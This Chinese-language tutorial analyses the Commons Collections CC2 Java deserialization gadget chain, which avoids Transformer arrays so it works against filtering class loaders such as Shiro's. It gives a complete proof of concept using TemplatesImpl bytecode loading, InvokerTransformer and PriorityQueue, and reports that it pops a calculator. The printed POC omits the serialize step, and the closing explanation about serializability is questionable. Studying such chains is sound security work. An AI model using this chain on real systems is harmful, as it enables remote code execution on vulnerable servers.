背景
在Shiro反序列化等漏洞利用中,有一些自定义的ClassLoader
,如ClassResolvingObjectInputStream
,它会限制数组类型(如Transformer[]
)的动态加载,CC1、CC4等利用链就使用了Transformer数组
,导致利用链无法使用,本篇的CC2在CC4的基础上避免了使用数组来构造利用链。
CC2分析
环境不变
链尾TemplateImpl
CC2只是在CC4的基础上删除了使用数组的方式改用直接使用Invokertransformer
的方式调用TemplateImpl#newTransformer()
,因此它的整体还是一样的,我直接把动态加载字节码的链尾复制过来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public class CC2Test { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException { byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class")); final TemplatesImpl templates = new TemplatesImpl(); Setvalue(templates,"_name","jjxxx"); Setvalue(templates,"_bytecodes",new byte[][]{bytes}); Setvalue(templates,"_tfactory",new TransformerFactoryImpl());
} public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException { final Field field = classname.getClass().getDeclaredField(valuename); field.setAccessible(true); field.set(classname,value); } }
|
使用该类调用newTransformer()
方法
1
| InvokerTransformer newtransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
|
与CC4相同,还是使用TransformingComparator#compare()
去调用transform()
,按理说应该传入newtransformer
,但是在CC4中已经分析过,由于PriorityQueue
类在添加数值时也会本地调用compare()
方法,这样就无法生成序列化的利用链,因此我们需要先把他换成其他的,在PriorityQueue#add()
之后再通过反射把值修改回来
如下:
更改前
1
| TransformingComparator transformingComparator = new TransformingComparator<>(newtransformer);
|
更改后
1
| TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
|
链首PriorityQueue
此时我们只需要用Template
调用TransformingComparator
内的newtransformer
就可以了,使用add()
把template
添加进PriorityQueue
里去
1 2 3
| PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(1);
|
反射修改值
再把上方提到的值,通过反射修改回去
1 2 3 4
| Class c = transformingComparator.getClass(); Field transformingField = c.getDeclaredField("transformer"); transformingField.setAccessible(true); transformingField.set(transformingComparator, newtransformer);
|
完整POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| package classloader; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class CC2Test { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException { byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class")); final TemplatesImpl templates = new TemplatesImpl(); Setvalue(templates,"_name","jjxxx"); Setvalue(templates,"_bytecodes",new byte[][]{bytes}); Setvalue(templates,"_tfactory",new TransformerFactoryImpl()); InvokerTransformer newtransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(1); Class c = transformingComparator.getClass(); Field transformingField = c.getDeclaredField("transformer"); transformingField.setAccessible(true); transformingField.set(transformingComparator, newtransformer);
unserialize("2.bin"); } public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException { final Field field = classname.getClass().getDeclaredField(valuename); field.setAccessible(true); field.set(classname,value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
成功弹出计算器

流程图
CC2

总流程图

总结
还有一个问题是在CC4中提到的,在commons collections4.0
版本之后,InvokerTransformer
不再实现Serializable
,为什么CC2链用的是同一个版本,但还是用了InvokerTransformer这个类呢?
其实CC2这条链虽然用了InvokerTransformer类,但是该类并没有直接参与序列化,而是作为TransformingComparator
的字段,随TransformingComparator
一同被序列化和反序列,从而成功执行命令。
该链只是在CC4的基础上做了一处修改,删除了使用Transformer
数组的方式,改用InvokerTransformer
直接调用newTransformer()
。